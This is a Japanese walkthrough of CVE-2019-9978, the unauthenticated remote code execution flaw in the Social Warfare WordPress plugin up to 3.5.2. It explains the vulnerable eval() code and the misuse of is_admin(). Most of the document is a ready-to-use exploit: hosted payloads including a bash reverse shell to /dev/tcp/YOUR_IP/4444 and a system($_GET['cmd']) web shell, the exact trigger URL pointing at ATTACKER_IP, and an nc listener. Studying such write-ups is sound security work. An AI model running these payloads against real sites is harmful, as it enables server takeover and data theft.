
CVE-2019-9978 の完全なウォークスルーとエクスプロイト - Social Warfare WordPress プラグイン ≤ 3.5.2 における未認証のリモートコード実行。脆弱性コードの解析とペイロードの例を含みます。
| プロパティ | 値 |
|---|
| CVE ID | CVE-2019-9978 |
| 影響を受けるソフトウェア | Social Warfare プラグイン ≤ 3.5.2 (WordPress) |
| 脆弱性の種類 | リモートコード実行 (RCE) / リモートファイルインクルージョン (RFI) |
| 認証の必要性 | ❌ 不要 – 認証なし |
| CVSS スコア | 9.8 (Critical) |
| 修正バージョン | 3.5.3 |
| 実地での悪用 | あり – 2019年3月 |
Social Warfare プラグインは、Web サイトにソーシャル共有ボタンを追加する人気の WordPress プラグインです。バージョン 3.5.0 から 3.5.2 には、攻撃者が認証なしでサーバー上で任意の PHP コードを実行できる重大な RCE 脆弱性が存在します。
Social Warfare は、Web サイトにソーシャル共有ボタンを追加する人気の WordPress プラグインで、訪問者が以下のようなプラットフォームでコンテンツを簡単に共有できるようにします:

if ( true == SWP_Utility::debug( 'load_options' ) ) {
// ⚠️ CRITICAL MISUNDERSTANDING:
// is_admin() only checks if the page is in /wp-admin/
// It does NOT verify authentication or user privileges!
if ( is_admin() ) {
wp_die( 'You do not have authorization to view this page.' );
}
// Step 1: Fetch remote file from user-controlled URL
// No validation, no sanitization, no whitelist!
$options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );
// Step 2: Extract content between <pre> tags
if ( strpos( $options, '<pre>' ) !== false ) {
$options = str_replace( '<pre>', '', $options );
$cutoff = strpos( $options, '</pre>' );
$options = substr( $options, 0, $cutoff );
}
// Step 3: Build PHP code string
$array = 'return ' . $options . ';';
// Step 4: 💀 CRITICAL FLAW - User-supplied code is executed!
try {
$fetched_options = eval( $array ); // <-- Remote Code Execution
// ... rest of the migration logic
} catch ( ParseError $e ) {
// ... error handling
}
}
is_admin() はセキュリティではないのかWordPress の関数 is_admin() は、ユーザーがログインしているか、管理者権限を持っているかをチェックしません。これは単に、リクエストされたページが /wp-admin/ ディレクトリ内にあるかどうかを確認するだけです:
function is_admin() {
return defined('WP_ADMIN') && WP_ADMIN;
// Does NOT check authentication!
// Does NOT check user role!
}
皮肉なこと: /wp-admin/admin-post.php にアクセスすると、WordPress は WP_ADMIN = true を定義します。そのため、is_admin() は認証されていないリクエストでも true を返し、結果として脆弱なコードブロックが実行されてしまいます。
$options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );
if ( strpos( $options, '<pre>' ) !== false ) {
$options = str_replace( '<pre>', '', $options );
$cutoff = strpos( $options, '</pre>' );
$options = substr( $options, 0, $cutoff );
}
$array = 'return ' . $options . ';';
try {
$fetched_options = eval( $array ); // <-- Remote Code Execution
}
このプラグインには、開発者が外部 URL から設定ファイルを読み込むための隠し「デバッグ」機能がありました。しかし、この機能には致命的な欠陥がありました。ユーザーが指定した URL から任意のファイルをダウンロードし、その中に含まれるコードを何でも実行してしまうのです。しかも、許可を求めたり、ユーザーが認証されているかどうかを確認したりすることはありません。
悪用方法は単純です:
攻撃者は自分のサーバー上に悪意のあるファイルをホストし、そのファイルをプラグインにダウンロードさせます。プラグインは盲目的に攻撃者のコードを被害者の Web サイト上で実行します。このプラグインは実行をトリガーするためにログインを要求しないため、URL を知っている誰でも Web サイトを乗っ取ることができます。
次のように考えてみてください: ドアマンが「デバッグモード」と言うだけで、あなたがそこで働いているか身分証を持っているかを確認せずに、どんなドアでも開けてしまうと想像してください。それがまさにこの脆弱性がやっていたことです。
エクスプロイトは、2 つの <pre></pre> タグの間に記述する必要があります。
WPScan を使用して Social Warfare プラグインのバージョンを特定します:
wpscan --url http://target.com --enumerate vp
自分でインストールした場合は、管理パネルからプラグインを有効化することを忘れないでください。
任意のペイロードを記述した payload.txt を作成し、そのペイロードを配信するサーバーを立てます。
ペイロードの例:
テスト用ペイロード (RCE の確認):
<pre>phpinfo();</pre>
外部通信テスト:
<pre>@file_get_contents('http://burp collabrator');</pre>
Linux リバースシェル:
<pre>system("bash -c \"bash -i >& /dev/tcp/YOUR_IP/4444 0>&1\"");</pre>
対話型コマンド実行:
<pre>system($_GET['cmd']);</pre>
Python HTTP サーバーを起動してペイロードをホストします:
python3 -m http.server 8000
ペイロードには http://YOUR_IP:8000/payload.txt でアクセスできます。
localhost を使用する場合:
http://127.0.0.1:8000/payload.txt
脆弱なコードにリクエストを送信すると、200 ステータスコードが表示されるはずです:

オプション A – 手動トリガー:
ブラウザでこの URL にアクセスするか、curl を使用します:
http://wordpress ip or domain/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://ATTACKER_IP:8000/payload.txt
localhost を使用する場合も同様です:
http://wordpress ip or domain/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://127.0.0.1:8000/payload.txt
nc -lvnp 4444
成功すれば、シェルを取得できます!
<pre>@file_get_contents('http://burp collabrator');</pre>

<pre>phpinfo();</pre>

ハッピーハッキング! 🚀